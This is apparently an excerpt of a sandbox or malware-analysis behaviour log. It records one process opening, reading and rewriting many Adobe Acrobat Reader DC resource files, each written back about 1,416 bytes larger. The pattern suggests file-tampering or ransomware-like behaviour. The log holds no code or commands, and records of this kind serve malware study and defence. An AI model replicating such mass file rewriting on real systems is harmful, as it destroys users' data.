File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int.gif, size = 6718, size_out = 6718	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int.gif, size = 8134	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil_2x.png, size = 4334, size_out = 4334	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil_2x.png, size = 5750	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions2x.png, size = 3065, size_out = 3065	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions2x.png, size = 4481	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\hscroll-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\hscroll-thumb.png, size = 263, size_out = 263	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\hscroll-thumb.png, size = 1679	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up.gif, size = 57, size_out = 57	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up.gif, size = 1473	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\ui-strings.js, size = 3800, size_out = 3800	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\ui-strings.js, size = 5216	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-ma\ui-strings.js, size = 3853, size_out = 3853	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-ma\ui-strings.js, size = 5269	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ro-ro\ui-strings.js, size = 3835, size_out = 3835	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ro-ro\ui-strings.js, size = 5251	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\ui-strings.js, size = 3458, size_out = 3458	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\ui-strings.js, size = 4874	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-ae\ui-strings.js, size = 7217, size_out = 7217	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-ae\ui-strings.js, size = 8633	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\ui-strings.js, size = 8050, size_out = 8050	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\ui-strings.js, size = 9466	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\misc\load-typekit.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\misc\load-typekit.js, size = 1437, size_out = 1437	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\misc\load-typekit.js, size = 2853	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\ui-strings.js, size = 1833, size_out = 1833	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\ui-strings.js, size = 3249	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\ui-strings.js, size = 1823, size_out = 1823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\ui-strings.js, size = 3239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\ui-strings.js, size = 2460, size_out = 2460	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\ui-strings.js, size = 3876	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning_2x.png, size = 1303, size_out = 1303	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning_2x.png, size = 2719	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\ui-strings.js, size = 1152, size_out = 1152	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\ui-strings.js, size = 2568	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\ui-strings.js, size = 1125, size_out = 1125	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\ui-strings.js, size = 2541	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\ui-strings.js, size = 1134, size_out = 1134	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\ui-strings.js, size = 2550	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\ui-strings.js, size = 1241, size_out = 1241	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\ui-strings.js, size = 2657	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\ui-strings.js, size = 1224, size_out = 1224	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\ui-strings.js, size = 2640	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugin.js, size = 957, size_out = 957	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugin.js, size = 2373	1	Fn Data
